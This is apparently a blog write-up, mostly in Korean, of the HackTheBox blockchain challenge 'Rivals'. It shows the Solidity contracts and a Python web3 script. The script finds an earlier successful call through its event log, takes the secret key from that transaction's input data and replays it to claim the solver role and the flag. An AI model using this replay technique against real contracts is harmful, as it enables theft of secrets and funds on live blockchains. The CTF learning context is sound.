Rivals.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Rivals {
    event Voice(uint256 indexed severity);

    bytes32 private encryptedFlag;
    bytes32 private hashedFlag;
    address public solver;

    constructor(bytes32 _encrypted, bytes32 _hashed) {
        encryptedFlag = _encrypted;
        hashedFlag = _hashed;
    }

    function talk(bytes32 _key) external {
        bytes32 _flag = _key ^ encryptedFlag;
        if (keccak256(abi.encode(_flag)) == hashedFlag) {
            solver = msg.sender;
            emit Voice(5);
        } else {
            emit Voice(block.timestamp % 5);
        }
    }
}

 

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Rivals} from "./Rivals.sol";

contract Setup {
    Rivals public immutable TARGET;

    constructor(bytes32 _encryptedFlag, bytes32 _hashed) payable {
        TARGET = new Rivals(_encryptedFlag, _hashed);
    }

    function isSolved(address _player) public view returns (bool) {
        return TARGET.solver() == _player;
    }
}

 

solver를 msg.sender로 만들어야 한다. talk함수에서 if문의 조건을 만족시키면 Voice(5)가, 그렇지 못하면 Voice(block.timestamp%5)가 수행된다.

 

유일하게 public변수인 solver을 출력해보면 초기값인 0이 아니라 다른 주소이다. 즉, 이미 talk함수를 호출하여 if문의 조건을 충족시켜 solver가 특정 주소로 변한 것이다. 여기서 중요한 점은 talk함수를 호출하면 무조건 event가 발생하며, if문의 조건을 충족시킨 경우에만 이벤트의 인자가 5가 된다는 것이다. 따라서 event log에서 이를 찾아서 input, 즉, key를 leak할 수 있다.

 

ex.py

from web3 import Web3
import requests
import json

url = "http://94.237.54.214:59399"

info = json.loads(requests.get(url + "/connection_info").content)

privkey = info["PrivateKey"]
target_addr = info["TargetAddress"]
pub_address = info["Address"]

w3 = Web3(Web3.HTTPProvider(url + '/rpc'))

def string_to_bytes32(text):
    return Web3.to_bytes(text=text).ljust(32, b'\0')

contract = w3.eth.contract(address=target_addr, abi = open("abi.json", "r").read())

logs = contract.events.Voice().get_logs(fromBlock=0)

for log in logs:
    tx_receipt = w3.eth.wait_for_transaction_receipt(log['transactionHash'].hex())
    if tx_receipt['logs'][0]['topics'][1] == b'\x00'*31 + b'\x05':
        print("find!!!")
        tx_hash = log['transactionHash'].hex()
        break

key = w3.eth.get_transaction(tx_hash)['input'].hex()
key = bytes.fromhex(key[2:])[4:] # key is including function selector which is 4 bytes

transaction = contract.functions.talk(key).build_transaction(
    {
        "chainId": w3.eth.chain_id,
        "gasPrice": w3.eth.gas_price,
        "from": pub_address,
        "nonce": w3.eth.get_transaction_count(pub_address),
        "value": 0 
    }
)

sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=privkey)
tx_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)

print(requests.get(url + '/flag').content.decode())

'wargame' 카테고리의 다른 글

Ethernaut Re-entrancy (feat. 뻘짓)  (0) 2024.07.22
hackthebox - Distract and Destroy  (1) 2024.05.15
hackthebox - Survival of the Fittest  (0) 2024.05.10

+ Recent posts